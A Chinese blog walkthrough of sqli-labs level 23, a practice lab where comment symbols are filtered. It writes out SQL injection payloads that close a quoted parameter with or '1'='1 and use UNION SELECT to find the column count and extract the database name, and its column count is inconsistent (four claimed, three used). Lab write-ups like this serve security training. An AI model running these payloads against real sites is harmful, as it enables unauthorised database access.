当前位置: 首页 > news >正文

sqli-labs第二十三关——过滤注释符

一:判断注入类型

尝试输入id=1,id=1',id=1",id=1'),id=1"),只有单引号的时候产生报错

 尝试闭合

?id=1' --+

仍然报错,闭合失败

 查看这一关的源码

发现注释符号被,所以尝试构造语句注释掉后面的内容

合类型构造语句
单引号or '1'='1
双引号or "1"="1
单引号+括号or ('1'='1
双引号+括号or ("1"="1

成功闭合 

?id=1' or '1'='1

二:开始注入

1.判断列数

这一关不能用order by判断列数,因为order by 的优先级高于or,sql引擎会优先执行 order by,但此时 where 子句还没有闭合,所以会导致语法错误

这里选用union select,是独立语句,不受优先级的影响

?id=-1' union select 1,2,3,4 or '1'='1

输入到4的时候报错,所以有四列

输入到3的时候,可以看清回显位置,接下来我们选择在2的位置爆出想要的数据

2. 爆数据名

?id=-1' union select 1,database(),3 or '1'='1

 ❀❀❀ 完结撒花!! ❀❀❀

相关文章:

  • GTM4.1-SPE
  • 在 LangChain 中集成 Mem0 记忆系统教程
  • 5月22日复盘-YOLOV5
  • go中len和sizeof区别
  • PT8P2104触控型8Bit MCU
  • Linux Systemd 管理java服务
  • 打卡第二十五天:元组和OS模块
  • 深搜题(如何找到进入下一层深搜的条件)
  • Android 网络全栈攻略(三)—— 从三方库原理来看 HTTP
  • 【Java高阶面经:数据库篇】17、分库分表分页查询优化:告别慢查询与内存爆炸
  • 并发编程之常用原子类
  • 蓝桥杯 10. 安全序列
  • yolo剪枝的几种方法
  • 链表day4
  • RT-Thread源码阅读(1)——基本框架
  • 阿里云 Serverless 助力海牙湾构建弹性、高效、智能的 AI 数字化平台
  • 配置gem5环境:Dockerfile使用
  • SQL的RAND用法和指定生成随机数的范围
  • labview实现两路波形图数据采集
  • DeepSeek快速搭建个人网页
  • 学生成绩管理系统网站建设/网络企业推广
  • 湖南电子科技网站建设/国外广告联盟平台
  • wordpress怎么设置语言设置/济南seo网站关键词排名
  • 长安公司网站设计/足球直播在线直播观看免费cctv5
  • 潜江资讯网招聘司机/平台优化是什么意思
  • wordpress网站加载慢/百度提交收录入口